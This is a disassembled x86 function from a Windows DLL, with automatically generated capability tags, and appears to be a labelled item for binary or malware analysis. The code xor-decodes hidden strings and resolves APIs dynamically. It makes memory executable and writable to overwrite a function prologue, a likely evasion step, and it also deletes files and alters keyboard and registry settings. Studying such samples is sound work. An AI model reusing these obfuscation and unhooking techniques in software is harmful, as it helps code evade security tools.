Function at 0x10001d40
Capabilities:
Allocate or change rwx memory
Check if file exists
Delete file
Encode data using xor
Execute shellcode via indirect call
Query or enumerate registry key

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100070ab
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x1d0
mov eax, dword [0x1000b040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x144], edi
xorps xmm0, xmm0
mov dword [ebp - 0x150], 0
movups xmmword [ebp - 0x160], xmm0
mov dword [ebp - 0x14c], 0xf
mov byte [ebp - 0x160], 0
lea eax, [ebp - 0x160]
mov dword [ebp - 4], 0
push eax
call fcn.10001740
test al, al
je 0x100025b8
cmp dword [ebp - 0x14c], 0xf
lea eax, [ebp - 0x160]
cmova eax, dword [ebp - 0x160]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10001e03
cmp dword [ebp - 0x14c], 0xf
lea eax, [ebp - 0x160]
cmova eax, dword [ebp - 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov al, 0x14
mov byte [ebp - 0x134], 0x25
mov byte [ebp - 0x1c1], al
mov cl, 0x11
xor al, byte [ebp - 0x134]
mov dl, 0x1d
mov byte [ebp - 0x133], al
mov ah, 0x17
mov al, byte [ebp - 0x134]
mov ch, 0x16
xor cl, al
mov byte [ebp - 0x12c], 0
xor dl, al
mov byte [ebp - 0x132], cl
xor ah, al
mov byte [ebp - 0x131], dl
xor ch, al
mov byte [ebp - 0x130], ah
mov dh, 0x15
mov byte [ebp - 0x121], 0
xor dh, al
mov byte [ebp - 0x12f], ch
mov al, byte [ebp - 0x1c1]
mov dl, 0x41
xor al, byte [ebp - 0x134]
mov cl, 0x28
mov byte [ebp - 0x12d], al
xor cl, dl
mov al, 0x64
mov byte [ebp - 0x12e], dh
xor al, dl
mov byte [ebp - 0x12c], 0
mov byte [ebp - 0x123], al
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x123]
mov byte [ebp - 0x124], dl
push eax
lea eax, [ebp - 0x133]
mov byte [ebp - 0x122], cl
push eax
mov byte [ebp - 0x121], 0
call fcn.10001070
mov esi, dword [ebp - 0x128]
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
imul eax, esi
cmp dword [0x1000c40c], eax
jne 0x100025b8
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x14c], 0xf
lea edx, [ebp - 0x160]
xorps xmm0, xmm0
mov dword [ebp - 0x1d0], 0
cmova edx, dword [ebp - 0x160]
mov ecx, edx
mov dword [ebp - 0x1cc], 0
movups xmmword [ebp - 0x1e0], xmm0
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001f20
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1e0]
call fcn.10005ab0
cmp dword [ebp - 0x1cc], 0xf
lea ecx, [ebp - 0x1c0]
lea eax, [ebp - 0x1e0]
cmova eax, dword [ebp - 0x1e0]
push ecx
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
mov ecx, dword [ebp - 0x1cc]
add esp, 8
cmp ecx, 0xf
jbe 0x10001f97
mov edx, dword [ebp - 0x1e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001f8d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001f8d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1000660c
add esp, 8
cmp dword [ebp - 0x14c], 0xf
lea ecx, [ebp - 0x160]
mov edx, dword [ebp - 0x150]
jbe 0x10001fb6
mov esi, dword [ebp - 0x160]
add edx, esi
jmp 0x10001fbe
add edx, ecx
lea esi, [ebp - 0x160]
mov dword [ebp - 0x168], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x178], xmm0
cmp esi, edx
jne 0x10001fee
xor eax, eax
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
jmp 0x1000212b
sub edx, esi
mov eax, 7
mov dword [ebp - 0x128], edx
mov dword [ebp - 0x164], eax
cmp edx, 0x7ffffffe
ja 0x10002614
cmp edx, eax
jbe 0x100020d5
mov eax, edx
or eax, 7
cmp eax, 0x7ffffffe
jbe 0x10002034
mov ecx, 0x7fffffff
mov dword [ebp - 0x124], 0x7ffffffe
add ecx, ecx
jmp 0x1000205d
mov ecx, 0xa
cmp eax, ecx
cmovb eax, ecx
mov dword [ebp - 0x124], eax
lea ecx, [eax + 1]
cmp ecx, 0x7fffffff
ja 0x10002619
add ecx, ecx
cmp ecx, 0x1000
jb 0x1000209c
lea eax, [ecx + 0x23]
cmp eax, ecx
jbe 0x10002619
push eax
call fcn.100062c2
add esp, 4
test eax, eax
je 0x100025e4
mov edx, dword [ebp - 0x128]
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x178], ecx
mov dword [ebp - 0x164], eax
jmp 0x100020db
test ecx, ecx
je 0x100020c5
push ecx
call fcn.100062c2
mov edx, dword [ebp - 0x128]
mov ecx, eax
mov eax, dword [ebp - 0x124]
add esp, 4
mov dword [ebp - 0x178], ecx
mov dword [ebp - 0x164], eax
jmp 0x100020db
xor ecx, ecx
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x178], ecx
jmp 0x100020db
mov ecx, dword [ebp - 0x178]
mov edi, dword [ebp - 0x144]
cmp eax, 7
lea eax, [ebp - 0x178]
cmova eax, ecx
mov dword [ebp - 0x128], eax
mov ecx, eax
test edx, edx
je 0x10002119
mov edi, edx
nop dword [eax + eax]
movsx ax, byte [esi]
lea ecx, [ecx + 2]
lea esi, [esi + 1]
mov word [ecx - 2], ax
sub edi, 1
jne 0x10002100
mov edi, dword [ebp - 0x144]
mov eax, dword [ebp - 0x128]
xor ecx, ecx
mov dword [ebp - 0x168], edx
mov word [eax + edx*2], cx
mov dh, 0x4f
mov byte [ebp - 4], 1
mov al, 0xb
mov byte [ebp - 0x13a], 0
mov cl, 0x19
mov byte [ebp - 0x140], dh
mov dl, 0x3d
mov byte [ebp - 0x13a], 0
mov ah, 9
mov ch, 0x7b
xor al, dh
xor cl, dh
xor dl, dh
mov byte [ebp - 0x13f], al
xor ah, dh
mov byte [ebp - 0x13e], cl
xor ch, dh
mov byte [ebp - 0x13d], dl
push 0x2000
mov byte [ebp - 0x13c], ah
mov byte [ebp - 0x13b], ch
call fcn.1000661a
add esp, 4
mov dword [ebp - 0x148], eax
push 0x1000
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x13f]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp dword [ebp - 0x164], 7
lea eax, [ebp - 0x178]
mov cl, 6
mov byte [ebp - 0x134], 0x6b
cmova eax, dword [ebp - 0x178]
mov dl, cl
xor cl, byte [ebp - 0x134]
mov ch, 0x59
mov dword [ebp - 0x138], eax
mov dh, 0x45
mov al, 2
mov byte [ebp - 0x132], cl
xor al, byte [ebp - 0x134]
mov ah, 0x58
mov cl, byte [ebp - 0x134]
mov byte [ebp - 0x133], al
xor ah, cl
mov byte [ebp - 0x1c1], 0xf
xor dl, cl
mov al, byte [ebp - 0x1c1]
xor ch, cl
xor al, cl
mov byte [ebp - 0x1c2], 7
mov byte [ebp - 0x12d], al
xor dh, cl
mov al, byte [ebp - 0x1c2]
xor al, cl
mov byte [ebp - 0x1c3], 7
mov byte [ebp - 0x12c], al
mov al, byte [ebp - 0x1c3]
xor al, cl
mov byte [ebp - 0x130], ah
mov byte [ebp - 0x12b], al
lea eax, [ebp - 0x133]
mov byte [ebp - 0x12a], 0
push eax
mov byte [ebp - 0x131], dl
mov byte [ebp - 0x12f], ch
mov byte [ebp - 0x12e], dh
mov byte [ebp - 0x12a], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
je 0x10002550
movaps xmm0, xmmword [0x100082e0]
xor ecx, ecx
movups xmmword [ebp - 0x1d8], xmm0
mov al, byte [ebp - 0x1d8]
xor byte [ebp + ecx - 0x1d7], al
inc ecx
cmp ecx, 0xe
jb 0x10002282
lea eax, [ebp - 0x1d7]
mov byte [ebp - 0x1c9], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov dword [ebp - 0x124], esi
call fcn.10001200
test al, al
je 0x10002332
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x128]
push eax
push 0x40
push 4
push esi
mov dword [ebp - 0x1ac], 0x8b55ff8b
call edi
mov eax, dword [ebp - 0x124]
lea ecx, [ebp - 0x128]
mov esi, dword [ebp - 0x1ac]
push ecx
push dword [ebp - 0x128]
mov dword [eax], esi
push 4
push eax
call edi
lea eax, [ebp - 0x128]
push eax
push 0x40
push 4
push dword [ebp - 0x124]
call edi
mov eax, dword [ebp - 0x124]
mov dword [eax], esi
lea eax, [ebp - 0x128]
mov esi, dword [ebp - 0x124]
push eax
push dword [ebp - 0x128]
push 4
push esi
call edi
mov edi, dword [ebp - 0x144]
push dword [ebp - 0x148]
push dword [ebp - 0x138]
call esi
mov esi, eax
mov dword [ebp - 0x138], esi
test esi, esi
je 0x10002550
push 0
lea eax, [ebp - 0x17c]
push eax
push 0
push 0x59
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
test eax, eax
je 0x10002550
push dword [edi]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov edx, dword [edi]
push esi
push 1
push 0x50
call fcn.10001c50
mov edx, dword [edi]
push esi
push 0
push 0x51
call fcn.10001c50
push dword [edi]
mov esi, dword [sym.imp.USER32.dll_GetParent]
call esi
test eax, eax
je 0x100023b5
nop dword [eax]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [edi]
call esi
push eax
mov dword [edi], eax
call esi
test eax, eax
jne 0x100023a0
push dword [edi]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov esi, dword [ebp - 0x138]
mov edx, dword [edi]
push esi
push 1
push 0x50
call fcn.10001c50
mov edx, dword [edi]
push esi
push 0
push 0x51
call fcn.10001c50
push 0
lea eax, [ebp - 0x180]
push eax
push 0
push 0x59
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
test eax, eax
jne 0x10002400
call dword [sym.imp.KERNEL32.dll_GetLastError]
add edi, 4
jmp 0x1000255d
mov eax, dword [ebp - 0x180]
cmp eax, dword [ebp - 0x17c]
je 0x10002433
push 2
lea eax, [ebp - 0x17c]
push eax
push 0
push 0x5a
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
test eax, eax
jne 0x10002433
call dword [sym.imp.KERNEL32.dll_GetLastError]
add edi, 4
jmp 0x1000255d
push esi
call dword [sym.imp.USER32.dll_UnloadKeyboardLayout]
test eax, eax
je 0x10002545
movaps xmm0, xmmword [0x10008b70]
xor ecx, ecx
mov dword [ebp - 0x128], 0
movups xmmword [ebp - 0x1e0], xmm0
mov dword [ebp - 0x1d0], 0x3b2c0e02
mov dword [ebp - 0x1cc], 0x3a3f3132
mov byte [ebp - 0x1c8], 0
nop word [eax + eax]
mov al, byte [ebp - 0x1e0]
xor byte [ebp + ecx - 0x1df], al
inc ecx
cmp ecx, 0x17
jb 0x10002480
lea eax, [ebp - 0x128]
mov byte [ebp - 0x1c8], 0
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x1df]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002545
push 0x103
push eax
mov byte [ebp - 0x120], al
lea eax, [ebp - 0x11f]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x148], 0x104
lea eax, [ebp - 0x134]
mov dword [ebp - 0x138], 0
push eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp - 0x184]
push eax
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x18c]
push eax
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x138]
push eax
push 0
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x128]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
add edi, 4
jmp 0x1000255d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 4
add edi, ecx
mov dword [edi], eax
mov ecx, dword [ebp - 0x164]
cmp ecx, 7
jbe 0x1000259b
mov edx, dword [ebp - 0x178]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10002591
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100025e4
push ecx
push edx
call fcn.1000660c
add esp, 8
xor eax, eax
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
mov ecx, dword [ebp - 0x14c]
cmp ecx, 0xf
jbe 0x100025f4
mov edx, dword [ebp - 0x160]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100025ea
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100025ea
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1000660c
add esp, 8
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10006192
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.100011f0
call fcn.10001150
int3